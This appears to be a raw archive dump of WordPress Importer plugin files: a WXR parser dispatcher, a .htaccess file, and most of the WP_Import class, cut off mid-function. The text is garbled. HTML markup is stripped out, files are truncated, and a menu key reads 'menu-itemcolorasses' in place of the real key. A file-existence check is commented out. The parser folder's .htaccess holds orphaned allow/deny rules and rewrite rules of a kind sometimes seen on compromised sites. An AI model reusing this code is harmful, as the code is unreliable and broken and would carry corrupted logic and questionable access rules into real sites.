'wp:ping_status' ); $status = $this->get_tag( $post, 'wp:status' ); $post_name = $this->get_tag( $post, 'wp:post_name' ); $post_parent = $this->get_tag( $post, 'wp:post_parent' ); $menu_order = $this->get_tag( $post, 'wp:menu_order' ); $post_type = $this->get_tag( $post, 'wp:post_type' ); $post_password = $this->get_tag( $post, 'wp:post_password' ); $is_sticky = $this->get_tag( $post, 'wp:is_sticky' ); $guid = $this->get_tag( $post, 'guid' ); $post_author = $this->get_tag( $post, 'dc:creator' ); $post_excerpt = $this->get_tag( $post, 'excerpt:encoded' ); $post_excerpt = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_excerpt ); $post_excerpt = str_replace( '
', '
', $post_excerpt ); $post_excerpt = str_replace( '
', '
', $post_excerpt ); $post_content = $this->get_tag( $post, 'content:encoded' ); $post_content = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content ); $post_content = str_replace( '
', '
', $post_content ); $post_content = str_replace( '
', '
', $post_content ); $postdata = compact( 'post_id', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt', 'post_title', 'status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent', 'menu_order', 'post_type', 'post_password', 'is_sticky' ); $attachment_url = $this->get_tag( $post, 'wp:attachment_url' ); if ( $attachment_url ) $postdata['attachment_url'] = $attachment_url; preg_match_all( '|(.+?)|is', $post, $terms, PREG_SET_ORDER ); foreach ( $terms as $t ) { $post_terms[] = array( 'slug' => $t[2], 'domain' => $t[1], 'name' => str_replace( array( '' ), '', $t[3] ), ); } if ( ! empty( $post_terms ) ) $postdata['terms'] = $post_terms; preg_match_all( '|(.+?)|is', $post, $comments ); $comments = $comments[1]; if ( $comments ) { foreach ( $comments as $comment ) { $post_comments[] = array( 'comment_id' => $this->get_tag( $comment, 'wp:comment_id' ), 'comment_author' => $this->get_tag( $comment, 'wp:comment_author' ), 'comment_author_email' => $this->get_tag( $comment, 'wp:comment_author_email' ), 'comment_author_IP' => $this->get_tag( $comment, 'wp:comment_author_IP' ), 'comment_author_url' => $this->get_tag( $comment, 'wp:comment_author_url' ), 'comment_date' => $this->get_tag( $comment, 'wp:comment_date' ), 'comment_date_gmt' => $this->get_tag( $comment, 'wp:comment_date_gmt' ), 'comment_content' => $this->get_tag( $comment, 'wp:comment_content' ), 'comment_approved' => $this->get_tag( $comment, 'wp:comment_approved' ), 'comment_type' => $this->get_tag( $comment, 'wp:comment_type' ), 'comment_parent' => $this->get_tag( $comment, 'wp:comment_parent' ), 'comment_user_id' => $this->get_tag( $comment, 'wp:comment_user_id' ), 'commentmeta' => $this->process_meta( $comment, 'wp:commentmeta' ), ); } } if ( ! empty( $post_comments ) ) { $postdata['comments'] = $post_comments; } $post_meta = $this->process_meta( $post, 'wp:postmeta' ); if ( ! empty( $post_meta ) ) { $postdata['postmeta'] = $post_meta; } return $postdata; } function _normalize_tag( $matches ) { return '<' . strtolower( $matches[1] ); } function fopen( $filename, $mode = 'r' ) { if ( $this->has_gzip ) return gzopen( $filename, $mode ); return fopen( $filename, $mode ); } function feof( $fp ) { if ( $this->has_gzip ) return gzeof( $fp ); return feof( $fp ); } function fgets( $fp, $len = 8192 ) { if ( $this->has_gzip ) return gzgets( $fp, $len ); return fgets( $fp, $len ); } function fclose( $fp ) { if ( $this->has_gzip ) return gzclose( $fp ); return fclose( $fp ); } } lib/parsers/class-wxr-parser.php000064400000003531147207153120012723 0ustar00parse( $file ); // If SimpleXML succeeds or this is an invalid WXR file then return the results if ( ! is_wp_error( $result ) || 'SimpleXML_parse_error' != $result->get_error_code() ) return $result; } else if ( extension_loaded( 'xml' ) ) { $parser = new WXR_Parser_XML; $result = $parser->parse( $file ); // If XMLParser succeeds or this is an invalid WXR file then return the results if ( ! is_wp_error( $result ) || 'XML_parse_error' != $result->get_error_code() ) return $result; } // We have a malformed XML file, so display the error and fallthrough to regex if ( isset($result) && defined('IMPORT_DEBUG') && IMPORT_DEBUG ) { echo '
';
			if ( 'SimpleXML_parse_error' == $result->get_error_code() ) {
				foreach  ( $result->get_error_data() as $error )
					echo $error->line . ':' . $error->column . ' ' . esc_html( $error->message ) . "\n";
			} else if ( 'XML_parse_error' == $result->get_error_code() ) {
				$error = $result->get_error_data();
				echo $error[0] . ':' . $error[1] . ' ' . esc_html( $error[2] );
			}
			echo '
'; echo '

' . __( 'There was an error when reading this WXR file', 'wordpress-importer' ) . '
'; echo __( 'Details are shown above. The importer will now try again with a different parser...', 'wordpress-importer' ) . '

'; } // use regular expressions if nothing else available or this is bad XML $parser = new WXR_Parser_Regex; return $parser->parse( $file ); } } lib/parsers/.htaccess000064400000001626147207153120010576 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/wordpress-importer.php000064400000002731147207153120011717 0ustar00 $item ) { $value[ $index ] = map_deep( $item, $callback ); } } elseif ( is_object( $value ) ) { $object_vars = get_object_vars( $value ); foreach ( $object_vars as $property_name => $property_value ) { $value->$property_name = map_deep( $property_value, $callback ); } } else { $value = call_user_func( $callback, $value ); } return $value; } } lib/class-wp-import.php000064400000144176147207153120011103 0ustar00header(); $step = empty( $_GET['step'] ) ? 0 : (int) $_GET['step']; switch ( $step ) { case 0: $this->greet(); break; case 1: check_admin_referer( 'import-upload' ); if ( $this->handle_upload() ) $this->import_options(); break; case 2: check_admin_referer( 'import-wordpress' ); $this->fetch_attachments = ( ! empty( $_POST['fetch_attachments'] ) && $this->allow_fetch_attachments() ); $this->id = (int) $_POST['import_id']; $file = get_attached_file( $this->id ); set_time_limit(0); $this->import( $file ); break; } $this->footer(); } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing */ function import( $file ) { add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) ); add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) ); $this->import_start( $file ); $this->get_author_mapping(); wp_suspend_cache_invalidation( true ); $this->process_categories(); $this->process_tags(); $this->process_terms(); $this->process_posts(); wp_suspend_cache_invalidation( false ); // update incorrect/missing information in the DB $this->backfill_parents(); $this->backfill_attachment_urls(); $this->remap_featured_images(); $this->import_end(); } /** * Parses the WXR file and prepares us for the task of processing parsed data * * @param string $file Path to the WXR file for importing */ function import_start( $file ) { // if ( ! is_file($file) ) { // echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; // echo __( 'The file does not exist, please try again.', 'wordpress-importer' ) . '

'; // $this->footer(); // die(); // } $import_data = $this->parse( $file ); if ( is_wp_error( $import_data ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $import_data->get_error_message() ) . '

'; $this->footer(); die(); } $this->version = $import_data['version']; $this->get_authors_from_import( $import_data ); $this->posts = $import_data['posts']; $this->terms = $import_data['terms']; $this->categories = $import_data['categories']; $this->tags = $import_data['tags']; $this->base_url = esc_url( $import_data['base_url'] ); wp_defer_term_counting( true ); wp_defer_comment_counting( true ); do_action( 'import_start' ); } /** * Performs post-import cleanup of files and the cache */ function import_end() { wp_import_cleanup( $this->id ); wp_cache_flush(); foreach ( get_taxonomies() as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } wp_defer_term_counting( false ); wp_defer_comment_counting( false ); echo '

' . __( 'All done.', 'wordpress-importer' ) . ' ' . __( 'Have fun!', 'wordpress-importer' ) . '' . '

'; echo '

' . __( 'Remember to update the passwords and roles of imported users.', 'wordpress-importer' ) . '

'; do_action( 'import_end' ); } /** * Handles the WXR upload and initial parsing of the file to prepare for * displaying author import options * * @return bool False if error uploading or invalid file, true otherwise */ function handle_upload() { $file = wp_import_handle_upload(); if ( isset( $file['error'] ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $file['error'] ) . '

'; return false; } else if ( ! file_exists( $file['file'] ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; printf( __( 'The export file could not be found at %s. It is likely that this was caused by a permissions problem.', 'wordpress-importer' ), esc_html( $file['file'] ) ); echo '

'; return false; } $this->id = (int) $file['id']; $import_data = $this->parse( $file['file'] ); if ( is_wp_error( $import_data ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $import_data->get_error_message() ) . '

'; return false; } $this->version = $import_data['version']; if ( $this->version > $this->max_wxr_version ) { echo '

'; printf( __( 'This WXR file (version %s) may not be supported by this version of the importer. Please consider updating.', 'wordpress-importer' ), esc_html($import_data['version']) ); echo '

'; } $this->get_authors_from_import( $import_data ); return true; } /** * Retrieve authors from parsed WXR data * * Uses the provided author information from WXR 1.1 files * or extracts info from each post for WXR 1.0 files * * @param array $import_data Data returned by a WXR parser */ function get_authors_from_import( $import_data ) { if ( ! empty( $import_data['authors'] ) ) { $this->authors = $import_data['authors']; // no author information, grab it from the posts } else { foreach ( $import_data['posts'] as $post ) { $login = sanitize_user( $post['post_author'], true ); if ( empty( $login ) ) { printf( __( 'Failed to import author %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html( $post['post_author'] ) ); echo '
'; continue; } if ( ! isset($this->authors[$login]) ) $this->authors[$login] = array( 'author_login' => $login, 'author_display_name' => $post['post_author'] ); } } } /** * Display pre-import options, author importing/mapping and option to * fetch attachments */ function import_options() { $j = 0; ?>
authors ) ) : ?>

allow_create_users() ) : ?>

    authors as $author ) : ?>
  1. author_select( $j++, $author ); ?>
allow_fetch_attachments() ) : ?>

' . esc_html( $author['author_display_name'] ); if ( $this->version != '1.0' ) echo ' (' . esc_html( $author['author_login'] ) . ')'; echo '
'; if ( $this->version != '1.0' ) echo '
'; $create_users = $this->allow_create_users(); if ( $create_users ) { echo ''; echo '
'; } echo ''; echo ' ' . wp_dropdown_users( array( 'name' => "user_map[$n]", 'id' => 'imported_authors_' . $n, 'multi' => true, 'show_option_all' => __( '- Select -', 'wordpress-importer' ), 'show' => 'display_name_with_login', 'echo' => 0, ) ); echo ''; if ( $this->version != '1.0' ) echo '
'; } /** * Map old author logins to local user IDs based on decisions made * in import options form. Can map to an existing user, create a new user * or falls back to the current user in case of error with either of the previous */ function get_author_mapping() { if ( ! isset( $_POST['imported_authors'] ) ) return; $create_users = $this->allow_create_users(); foreach ( (array) $_POST['imported_authors'] as $i => $old_login ) { // Multisite adds strtolower to sanitize_user. Need to sanitize here to stop breakage in process_posts. $santized_old_login = sanitize_user( $old_login, true ); $old_id = isset( $this->authors[$old_login]['author_id'] ) ? intval($this->authors[$old_login]['author_id']) : false; if ( ! empty( $_POST['user_map'][$i] ) ) { $user = get_userdata( intval($_POST['user_map'][$i]) ); if ( isset( $user->ID ) ) { if ( $old_id ) $this->processed_authors[$old_id] = $user->ID; $this->author_mapping[$santized_old_login] = $user->ID; } } else if ( $create_users ) { if ( ! empty($_POST['user_new'][$i]) ) { $user_id = wp_create_user( $_POST['user_new'][$i], wp_generate_password() ); } else if ( $this->version != '1.0' ) { $user_data = array( 'user_login' => $old_login, 'user_pass' => wp_generate_password(), 'user_email' => isset( $this->authors[$old_login]['author_email'] ) ? $this->authors[$old_login]['author_email'] : '', 'display_name' => $this->authors[$old_login]['author_display_name'], 'first_name' => isset( $this->authors[$old_login]['author_first_name'] ) ? $this->authors[$old_login]['author_first_name'] : '', 'last_name' => isset( $this->authors[$old_login]['author_last_name'] ) ? $this->authors[$old_login]['author_last_name'] : '', ); $user_id = wp_insert_user( $user_data ); } if ( ! is_wp_error( $user_id ) ) { if ( $old_id ) $this->processed_authors[$old_id] = $user_id; $this->author_mapping[$santized_old_login] = $user_id; } else { printf( __( 'Failed to create new user for %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html($this->authors[$old_login]['author_display_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ' ' . $user_id->get_error_message(); echo '
'; } } // failsafe: if the user_id was invalid, default to the current user if ( ! isset( $this->author_mapping[$santized_old_login] ) ) { if ( $old_id ) $this->processed_authors[$old_id] = (int) get_current_user_id(); $this->author_mapping[$santized_old_login] = (int) get_current_user_id(); } } } /** * Create new categories based on import information * * Doesn't create a new category if its slug already exists */ function process_categories() { $this->categories = apply_filters( 'wp_import_categories', $this->categories ); if ( empty( $this->categories ) ) return; foreach ( $this->categories as $cat ) { // if the category already exists leave it alone $term_id = term_exists( $cat['category_nicename'], 'category' ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($cat['term_id']) ) $this->processed_terms[intval($cat['term_id'])] = (int) $term_id; continue; } $parent = empty( $cat['category_parent'] ) ? 0 : category_exists( $cat['category_parent'] ); $description = isset( $cat['category_description'] ) ? $cat['category_description'] : ''; $data = array( 'category_nicename' => $cat['category_nicename'], 'category_parent' => $parent, 'cat_name' => wp_slash( $cat['cat_name'] ), 'category_description' => wp_slash( $description ), ); $id = wp_insert_category( $data ); if ( ! is_wp_error( $id ) && $id > 0 ) { if ( isset($cat['term_id']) ) $this->processed_terms[intval($cat['term_id'])] = $id; } else { printf( __( 'Failed to import category %s', 'wordpress-importer' ), esc_html($cat['category_nicename']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $cat, $id ); } unset( $this->categories ); } /** * Create new post tags based on import information * * Doesn't create a tag if its slug already exists */ function process_tags() { $this->tags = apply_filters( 'wp_import_tags', $this->tags ); if ( empty( $this->tags ) ) return; foreach ( $this->tags as $tag ) { // if the tag already exists leave it alone $term_id = term_exists( $tag['tag_slug'], 'post_tag' ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($tag['term_id']) ) $this->processed_terms[intval($tag['term_id'])] = (int) $term_id; continue; } $description = isset( $tag['tag_description'] ) ? $tag['tag_description'] : ''; $args = array( 'slug' => $tag['tag_slug'], 'description' => wp_slash( $description ), ); $id = wp_insert_term( wp_slash( $tag['tag_name'] ), 'post_tag', $args ); if ( ! is_wp_error( $id ) ) { if ( isset($tag['term_id']) ) $this->processed_terms[intval($tag['term_id'])] = $id['term_id']; } else { printf( __( 'Failed to import post tag %s', 'wordpress-importer' ), esc_html($tag['tag_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $tag, $id['term_id'] ); } unset( $this->tags ); } /** * Create new terms based on import information * * Doesn't create a term its slug already exists */ function process_terms() { $this->terms = apply_filters( 'wp_import_terms', $this->terms ); if ( empty( $this->terms ) ) return; foreach ( $this->terms as $term ) { // if the term already exists in the correct taxonomy leave it alone $term_id = term_exists( $term['slug'], $term['term_taxonomy'] ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($term['term_id']) ) $this->processed_terms[intval($term['term_id'])] = (int) $term_id; continue; } if ( empty( $term['term_parent'] ) ) { $parent = 0; } else { $parent = term_exists( $term['term_parent'], $term['term_taxonomy'] ); if ( is_array( $parent ) ) { $parent = $parent['term_id']; } } $description = isset( $term['term_description'] ) ? $term['term_description'] : ''; $args = array( 'slug' => $term['slug'], 'description' => wp_slash( $description ), 'parent' => (int) $parent ); $id = wp_insert_term( wp_slash( $term['term_name'] ), $term['term_taxonomy'], $args ); if ( ! is_wp_error( $id ) ) { if ( isset($term['term_id']) ) $this->processed_terms[intval($term['term_id'])] = $id['term_id']; } else { printf( __( 'Failed to import %s %s', 'wordpress-importer' ), esc_html($term['term_taxonomy']), esc_html($term['term_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $term, $id['term_id'] ); } unset( $this->terms ); } /** * Add metadata to imported term. * * @since 0.6.2 * * @param array $term Term data from WXR import. * @param int $term_id ID of the newly created term. */ protected function process_termmeta( $term, $term_id ) { if ( ! function_exists( 'add_term_meta' ) ) { return; } if ( ! isset( $term['termmeta'] ) ) { $term['termmeta'] = array(); } /** * Filters the metadata attached to an imported term. * * @since 0.6.2 * * @param array $termmeta Array of term meta. * @param int $term_id ID of the newly created term. * @param array $term Term data from the WXR import. */ $term['termmeta'] = apply_filters( 'wp_import_term_meta', $term['termmeta'], $term_id, $term ); if ( empty( $term['termmeta'] ) ) { return; } foreach ( $term['termmeta'] as $meta ) { /** * Filters the meta key for an imported piece of term meta. * * @since 0.6.2 * * @param string $meta_key Meta key. * @param int $term_id ID of the newly created term. * @param array $term Term data from the WXR import. */ $key = apply_filters( 'import_term_meta_key', $meta['key'], $term_id, $term ); if ( ! $key ) { continue; } // Export gets meta straight from the DB so could have a serialized string $value = maybe_unserialize( $meta['value'] ); add_term_meta( $term_id, wp_slash( $key ), wp_slash_strings_only( $value ) ); /** * Fires after term meta is imported. * * @since 0.6.2 * * @param int $term_id ID of the newly created term. * @param string $key Meta key. * @param mixed $value Meta value. */ do_action( 'import_term_meta', $term_id, $key, $value ); } } /** * Create new posts based on import information * * Posts marked as having a parent which doesn't exist will become top level items. * Doesn't create a new post if: the post type doesn't exist, the given post ID * is already noted as imported or a post with the same title and date already exists. * Note that new/updated terms, comments and meta are imported for the last of the above. */ function process_posts() { $this->posts = apply_filters( 'wp_import_posts', $this->posts ); foreach ( $this->posts as $post ) { $post = apply_filters( 'wp_import_post_data_raw', $post ); if ( ! post_type_exists( $post['post_type'] ) ) { printf( __( 'Failed to import “%s”: Invalid post type %s', 'wordpress-importer' ), esc_html($post['post_title']), esc_html($post['post_type']) ); echo '
'; do_action( 'wp_import_post_exists', $post ); continue; } if ( isset( $this->processed_posts[$post['post_id']] ) && ! empty( $post['post_id'] ) ) continue; if ( $post['status'] == 'auto-draft' ) continue; if ( 'nav_menu_item' == $post['post_type'] ) { $this->process_menu_item( $post ); continue; } $post_type_object = get_post_type_object( $post['post_type'] ); $post_exists = post_exists( $post['post_title'], '', $post['post_date'] ); /** * Filter ID of the existing post corresponding to post currently importing. * * Return 0 to force the post to be imported. Filter the ID to be something else * to override which existing post is mapped to the imported post. * * @see post_exists() * @since 0.6.2 * * @param int $post_exists Post ID, or 0 if post did not exist. * @param array $post The post array to be inserted. */ $post_exists = apply_filters( 'wp_import_existing_post', $post_exists, $post ); if ( $post_exists && get_post_type( $post_exists ) == $post['post_type'] ) { printf( __('%s “%s” already exists.', 'wordpress-importer'), $post_type_object->labels->singular_name, esc_html($post['post_title']) ); echo '
'; $comment_post_ID = $post_id = $post_exists; $this->processed_posts[ intval( $post['post_id'] ) ] = intval( $post_exists ); } else { $post_parent = (int) $post['post_parent']; if ( $post_parent ) { // if we already know the parent, map it to the new local ID if ( isset( $this->processed_posts[$post_parent] ) ) { $post_parent = $this->processed_posts[$post_parent]; // otherwise record the parent for later } else { $this->post_orphans[intval($post['post_id'])] = $post_parent; $post_parent = 0; } } // map the post author $author = sanitize_user( $post['post_author'], true ); if ( isset( $this->author_mapping[$author] ) ) $author = $this->author_mapping[$author]; else $author = (int) get_current_user_id(); $postdata = array( 'import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password'] ); $original_post_ID = $post['post_id']; $postdata = apply_filters( 'wp_import_post_data_processed', $postdata, $post ); $postdata = wp_slash( $postdata ); if ( 'attachment' == $postdata['post_type'] ) { $remote_url = ! empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid']; // try to use _wp_attached file for upload folder placement to ensure the same location as the export site // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload() $postdata['upload_date'] = $post['post_date']; if ( isset( $post['postmeta'] ) ) { foreach( $post['postmeta'] as $meta ) { if ( $meta['key'] == '_wp_attached_file' ) { if ( preg_match( '%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches ) ) $postdata['upload_date'] = $matches[0]; break; } } } $comment_post_ID = $post_id = $this->process_attachment( $postdata, $remote_url ); } else { $comment_post_ID = $post_id = wp_insert_post( $postdata, true ); do_action( 'wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post ); } if ( is_wp_error( $post_id ) ) { printf( __( 'Failed to import %s “%s”', 'wordpress-importer' ), $post_type_object->labels->singular_name, esc_html($post['post_title']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $post_id->get_error_message(); echo '
'; continue; } if ( $post['is_sticky'] == 1 ) stick_post( $post_id ); } // map pre-import ID to local ID $this->processed_posts[intval($post['post_id'])] = (int) $post_id; if ( ! isset( $post['terms'] ) ) $post['terms'] = array(); $post['terms'] = apply_filters( 'wp_import_post_terms', $post['terms'], $post_id, $post ); // add categories, tags and other terms if ( ! empty( $post['terms'] ) ) { $terms_to_set = array(); foreach ( $post['terms'] as $term ) { // back compat with WXR 1.0 map 'tag' to 'post_tag' $taxonomy = ( 'tag' == $term['domain'] ) ? 'post_tag' : $term['domain']; $term_exists = term_exists( $term['slug'], $taxonomy ); $term_id = is_array( $term_exists ) ? $term_exists['term_id'] : $term_exists; if ( ! $term_id ) { $t = wp_insert_term( $term['name'], $taxonomy, array( 'slug' => $term['slug'] ) ); if ( ! is_wp_error( $t ) ) { $term_id = $t['term_id']; do_action( 'wp_import_insert_term', $t, $term, $post_id, $post ); } else { printf( __( 'Failed to import %s %s', 'wordpress-importer' ), esc_html($taxonomy), esc_html($term['name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $t->get_error_message(); echo '
'; do_action( 'wp_import_insert_term_failed', $t, $term, $post_id, $post ); continue; } } $terms_to_set[$taxonomy][] = intval( $term_id ); } foreach ( $terms_to_set as $tax => $ids ) { $tt_ids = wp_set_post_terms( $post_id, $ids, $tax ); do_action( 'wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post ); } unset( $post['terms'], $terms_to_set ); } if ( ! isset( $post['comments'] ) ) $post['comments'] = array(); $post['comments'] = apply_filters( 'wp_import_post_comments', $post['comments'], $post_id, $post ); // add/update comments if ( ! empty( $post['comments'] ) ) { $num_comments = 0; $inserted_comments = array(); foreach ( $post['comments'] as $comment ) { $comment_id = $comment['comment_id']; $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID; $newcomments[$comment_id]['comment_author'] = $comment['comment_author']; $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email']; $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP']; $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url']; $newcomments[$comment_id]['comment_date'] = $comment['comment_date']; $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt']; $newcomments[$comment_id]['comment_content'] = $comment['comment_content']; $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved']; $newcomments[$comment_id]['comment_type'] = $comment['comment_type']; $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent']; $newcomments[$comment_id]['commentmeta'] = isset( $comment['commentmeta'] ) ? $comment['commentmeta'] : array(); if ( isset( $this->processed_authors[$comment['comment_user_id']] ) ) $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']]; } ksort( $newcomments ); foreach ( $newcomments as $key => $comment ) { // if this is a new post we can skip the comment_exists() check if ( ! $post_exists || ! comment_exists( $comment['comment_author'], $comment['comment_date'] ) ) { if ( isset( $inserted_comments[$comment['comment_parent']] ) ) { $comment['comment_parent'] = $inserted_comments[ $comment['comment_parent'] ]; } $comment_data = wp_slash( $comment ); unset( $comment_data['commentmeta'] ); // Handled separately, wp_insert_comment() also expects `comment_meta`. $comment_data = wp_filter_comment( $comment_data ); $inserted_comments[ $key ] = wp_insert_comment( $comment_data ); do_action( 'wp_import_insert_comment', $inserted_comments[ $key ], $comment, $comment_post_ID, $post ); foreach( $comment['commentmeta'] as $meta ) { $value = maybe_unserialize( $meta['value'] ); add_comment_meta( $inserted_comments[ $key ], wp_slash( $meta['key'] ), wp_slash_strings_only( $value ) ); } $num_comments++; } } unset( $newcomments, $inserted_comments, $post['comments'] ); } if ( ! isset( $post['postmeta'] ) ) $post['postmeta'] = array(); $post['postmeta'] = apply_filters( 'wp_import_post_meta', $post['postmeta'], $post_id, $post ); // add/update post meta if ( ! empty( $post['postmeta'] ) ) { foreach ( $post['postmeta'] as $meta ) { $key = apply_filters( 'import_post_meta_key', $meta['key'], $post_id, $post ); $value = false; if ( '_edit_last' == $key ) { if ( isset( $this->processed_authors[intval($meta['value'])] ) ) $value = $this->processed_authors[intval($meta['value'])]; else $key = false; } if ( $key ) { // export gets meta straight from the DB so could have a serialized string if ( ! $value ) { $value = maybe_unserialize( $meta['value'] ); } add_post_meta( $post_id, wp_slash( $key ), wp_slash_strings_only( $value ) ); do_action( 'import_post_meta', $post_id, $key, $value ); // if the post has a featured image, take note of this in case of remap if ( '_thumbnail_id' == $key ) $this->featured_images[$post_id] = (int) $value; } } } } unset( $this->posts ); } /** * Attempt to create a new menu item from import data * * Fails for draft, orphaned menu items and those without an associated nav_menu * or an invalid nav_menu term. If the post type or term object which the menu item * represents doesn't exist then the menu item will not be imported (waits until the * end of the import to retry again before discarding). * * @param array $item Menu item details from WXR file */ function process_menu_item( $item ) { // skip draft, orphaned menu items if ( 'draft' == $item['status'] ) return; $menu_slug = false; if ( isset($item['terms']) ) { // loop through terms, assume first nav_menu term is correct menu foreach ( $item['terms'] as $term ) { if ( 'nav_menu' == $term['domain'] ) { $menu_slug = $term['slug']; break; } } } // no nav_menu term associated with this menu item if ( ! $menu_slug ) { _e( 'Menu item skipped due to missing menu slug', 'wordpress-importer' ); echo '
'; return; } $menu_id = term_exists( $menu_slug, 'nav_menu' ); if ( ! $menu_id ) { printf( __( 'Menu item skipped due to invalid menu slug: %s', 'wordpress-importer' ), esc_html( $menu_slug ) ); echo '
'; return; } else { $menu_id = is_array( $menu_id ) ? $menu_id['term_id'] : $menu_id; } foreach ( $item['postmeta'] as $meta ) ${$meta['key']} = $meta['value']; if ( 'taxonomy' == $_menu_item_type && isset( $this->processed_terms[intval($_menu_item_object_id)] ) ) { $_menu_item_object_id = $this->processed_terms[intval($_menu_item_object_id)]; } else if ( 'post_type' == $_menu_item_type && isset( $this->processed_posts[intval($_menu_item_object_id)] ) ) { $_menu_item_object_id = $this->processed_posts[intval($_menu_item_object_id)]; } else if ( 'custom' != $_menu_item_type ) { // associated object is missing or not imported yet, we'll retry later $this->missing_menu_items[] = $item; return; } if ( isset( $this->processed_menu_items[intval($_menu_item_menu_item_parent)] ) ) { $_menu_item_menu_item_parent = $this->processed_menu_items[intval($_menu_item_menu_item_parent)]; } else if ( $_menu_item_menu_item_parent ) { $this->menu_item_orphans[intval($item['post_id'])] = (int) $_menu_item_menu_item_parent; $_menu_item_menu_item_parent = 0; } // wp_update_nav_menu_item expects CSS classes as a space separated string $_menu_item_classes = maybe_unserialize( $_menu_item_classes ); if ( is_array( $_menu_item_classes ) ) $_menu_item_classes = implode( ' ', $_menu_item_classes ); $args = array( 'menu-item-object-id' => $_menu_item_object_id, 'menu-item-object' => $_menu_item_object, 'menu-item-parent-id' => $_menu_item_menu_item_parent, 'menu-item-position' => intval( $item['menu_order'] ), 'menu-item-type' => $_menu_item_type, 'menu-item-title' => $item['post_title'], 'menu-item-url' => $_menu_item_url, 'menu-item-description' => $item['post_content'], 'menu-item-attr-title' => $item['post_excerpt'], 'menu-item-target' => $_menu_item_target, 'menu-itemcolorasses' => $_menu_item_classes, 'menu-item-xfn' => $_menu_item_xfn, 'menu-item-status' => $item['status'] ); $id = wp_update_nav_menu_item( $menu_id, 0, $args ); if ( $id && ! is_wp_error( $id ) ) $this->processed_menu_items[intval($item['post_id'])] = (int) $id; } /** * If fetching attachments is enabled then attempt to create a new attachment * * @param array $post Attachment post details from WXR * @param string $url URL to fetch attachment from * @return int|WP_Error Post ID on success, WP_Error otherwise */ function process_attachment( $post, $url ) { if ( ! $this->fetch_attachments ) return new WP_Error( 'attachment_processing_error', __( 'Fetching attachments is not enabled', 'wordpress-importer' ) ); // if the URL is absolute, but does not contain address, then upload it assuming base_site_url if ( preg_match( '|^/[\w\W]+$|', $url ) ) $url = rtrim( $this->base_url, '/' ) . $url; $upload = $this->fetch_remote_file( $url, $post ); if ( is_wp_error( $upload ) ) return $upload; if ( $info = wp_check_filetype( $upload['file'] ) ) $post['post_mime_type'] = $info['type']; else return new WP_Error( 'attachment_processing_error', __('Invalid file type', 'wordpress-importer') ); $post['guid'] = $upload['url']; // as per wp-admin/includes/upload.php $post_id = wp_insert_attachment( $post, $upload['file'] ); wp_update_attachment_metadata( $post_id, wp_generate_attachment_metadata( $post_id, $upload['file'] ) ); // remap resized image URLs, works by stripping the extension and remapping the URL stub. if ( preg_match( '!^image/!', $info['type'] ) ) { $parts = pathinfo( $url ); $name = basename( $parts['basename'], ".{$parts['extension']}" ); // PATHINFO_FILENAME in PHP 5.2 $parts_new = pathinfo( $upload['url'] ); $name_new = basename( $parts_new['basename'], ".{$parts_new['extension']}" ); $this->url_remap[$parts['dirname'] . '/' . $name] = $parts_new['dirname'] . '/' . $name_new; } return $post_id; } /** * Attempt to download a remote file attachment * * @param string $url URL of item to fetch * @param array $post Attachment details * @return array|WP_Error Local file location details on success, WP_Error otherwise */ function 